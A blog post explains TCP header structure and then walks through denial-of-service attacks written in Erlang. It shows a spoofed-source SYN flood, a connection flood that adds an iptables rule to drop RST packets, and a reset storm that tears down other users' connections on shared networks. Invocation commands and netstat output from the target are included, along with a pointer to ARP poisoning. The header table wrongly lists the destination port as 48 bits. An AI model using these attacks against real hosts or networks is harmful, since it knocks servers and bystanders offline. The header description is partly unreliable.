TCP Packet Structure
A TCP header is represented by:- Source Port:16
- Destination Port:48
- Sequence Number:32
- Acknowledgement Number:32
- Data Offset:4
- Reserved:4
- Congestion Window Reduced (CWR):1
- ECN-Echo (ECE):1
- Urgent (URG):1
- Acknowledgement (ACK):1
- Push (PSH):1
- Reset (RST):1
- Synchronize (SYN):1
- Finish (FIN):1
- Window Size:16
- TCP Pseudo-Header Checksum:16
- Urgent Pointer:16
- Options:0-320
- The Data offset is the length of the TCP header and in 32-bit words, i.e., multiply the offset by 4 to get the number of bytes.
- The CWR and ECE flags were added in RFC 3168.
- The TCP checksum is calculated by forming a pseudo-header from attributes of the IP header prepended to the TCP header and payload. When performing the checksum, the TCP checksum field is set to 0.
- An offset greater than 5 (20 bytes for the mandatory header elements) indicates the presence of (offset-5)*4 bytes of TCP Options in the header. Since the offset field is 4 bits, the maximum value of the offset field is 15, allowing for up to 40 bytes of options. Options are not used in the examples below.
<<SPort:16, DPort:16, SeqNo:32, AckNo:32, Off:4, 0:4, CWR:1, ECE:1, URG:1, ACK:1, PSH:1, RST:1, SYN:1, FIN:1, Win:16, Sum:16, Urp:16>>The pseudo-header can be illustrated as:
- Source Address:32
- Destination Address:32
- Zero:8
- Protocol:8
- TCP Header Length:16
- TCP Header and Payload:1
- ...
- TCP Header and Payload:N
- The Source Address from the IP header.
- The Destination Address from the IP header.
- The Protocol as specified by the IP header. For TCP, the value will be 6.
- The TCP Header Length in bytes. The length of the IP pseudo-header is not included.
- The TCP Header and Payload contains the full TCP packet.
<<SA1:8,SA2:8,SA3:8,SA4:8, % bytes representing the IP source address DA1:8,DA2:8,DA3:8,DA4:8, % bytes representing the IP destination address 0:8, % Zero 6:8, % Protocol: TCP (TCPoff * 4):16>> % TCP packet size in bytes
Exhausting Server Resources
TCP is stateful, requiring the client and server to allocate resources to manage each phase of the connection. A TCP connection is established by synchronizing the sequence numbers of the client and server.- The client sends a 20 byte TCP packet:
- the SYN bit is set to 1
- a randomly chosen sequence number
- the acknowledgment number set to 0
- no payload
- the SYN bit is set to 1
- The server replies with:
- the SYN bit set to 1
- the ACK bit set to 1
- a randomly chosen sequence number
- the acknowledgement number is set to the client's sequence number, incremented by 1
- no payload
- the SYN bit set to 1
- The client replies with:
- the SYN bit set to 0
- the ACK bit set to 1
- the sequence number (the acknowledgement number returned by the server)
- the acknowledgement number, the sequence number of the server incremented by the size in bytes of the payload
- an optional payload
- the SYN bit set to 0
Each phase of the connection needs to be tracked by the operating system. For example, if the initial SYN packet sent by the client does not result in a response, the client will resend the SYN packet, typically up to 3 times, before returning a timeout error.
On the server, if the SYN ACK is not ACK'ed by the client, the server must periodically attempt to re-send the SYN-ACK packet before freeing the resources allocated to this connection.
The resources required for tracking these connections, although small, can be exhausted either through high demand or a denial of service attack using several simple, well known attacks.
- SYN flood: Sending a large number of requests to initiate a TCP connection will prevent the server from accepting connections from legitimate clients.
- connection flood: Usually a client is limited in the number of connections it can open to a server; for example, by the number of available file descriptors. If the client can track the connections statelessly, a single client can overwhelm the server.
Preparation
- We'll use procket to pass the raw sockets into Erlang. To see how the packets are sent, see this tutorial.
procket uses the PF_PACKET socket interface, so these examples are Linux specific. I ran them on an Ubuntu 8.04 system. The functions in this source file can be used to send the Erlang binaries.
- I've tried to make the examples as self-contained as possible, but for parsing the packets and converting them into Erlang records, you'll need a copy of epcap_net.erl and epcap_net.hrl from epcap.
- On a hubbed network, like public 802.11 networks, you should be able to assign any IP address and act on the replies.
- If you are on a switched network or on an 802.11 network pretending to be switched (WEP/WPA security), you'll only be able to sniff replies to your assigned IP address. Or you can use ARP poisoning, ettercap works well.
SYN Flood
A SYN flood simply sends a large number of TCP packets with the SYN bit set to a target port. The source port, sequence number and (potentially) source IP address can be randomly assigned. However, the source IP address should be non-existent. Any client listening on that IP will RST the connection when the server SYN ACK's, causing the server to deallocate all resources associated with the embryonic session. syn takes these arguments:- Device name
- Source 3-tuple
- Source MAC address
- IP address
- Source port, can be 0 to randomly choose a port
- Source MAC address
- Destination 3-tuple
- Destination MAC address
- IP address
- Source port, can be 0 to randomly choose a port
- Destination MAC address
- Number of SYN packets to be sent
1> syn:flood("ath0", {{16#00,16#15,16#af,16#59,16#08,16#26}, {192,168,213,213}, 0}, {{16#00,16#16,16#3E,16#E9,16#04,16#06}, {192,168,213,7}, 8080}, 10). ok
msantos@ecn:~$ netstat -an |grep 8080 tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN tcp 0 0 192.168.213.7:8080 192.168.213.213:18868 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:5705 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:60884 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:49723 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:1362 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:53146 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:57667 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:37629 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:7937 SYN_RECV tcp 0 0 192.168.213.7:8080 192.168.213.213:58975 SYN_RECV
Connection Flood
A connection flood works by sending a number of SYN packets to the destination port. The server will reply with a SYN-ACK. The client monitors the network for any replies from the destination port with the ACK bit set and sends an acknowledgement in response. For an example of this behaviour, see drench, a utility written in C using libnet. The Erlang version is simpler, smaller and much more elegant. On a switched network, you won't be able to sniff the replies to spoofed IP addresses. To run a connection flood, you'll need to adjust your firewall to drop RST packets. Since I'm using Ubuntu, I used the simple firewall interface, ufw.$ ufw enable $ iptables -I ufw-before-output -p tcp --tcp-flags RST RST --destination-port 8080 -j DROPSpawn a process to respond to ACK's. ack takes 2 arguments:
- Device name
- Port
1> spawn(ack, start, ["eth0", 8080]). <0.34.0>Then send out SYN packets:
2> syn:flood(). % send out 10 SYN packets okChecking the target host shows a number of connections in the ESTABLISHED state:
msantos@ecn:~$ netstat -an |grep 8080 tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN tcp 0 0 192.168.213.7:8080 192.168.213.213:50691 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:49955 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:12017 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:13662 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:35611 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:57062 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:11549 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:30963 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:41435 ESTABLISHED tcp 0 0 192.168.213.7:8080 192.168.213.213:5591 ESTABLISHED
Resetting Connections
TCP reset storms can be used on hubbed networks to bring down other client's TCP connections. I call this peer-to-peer QoS. For comparison, here is another version of rst written in C using libnet. rst takes 2 arguments:- Device name
- IP address to be excluded (to avoid resetting your own connections)
1> rst:start("eth0", {127,0,0,1}).
$ ssh 192.168.213.7 Read from socket failed: Connection reset by peer
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.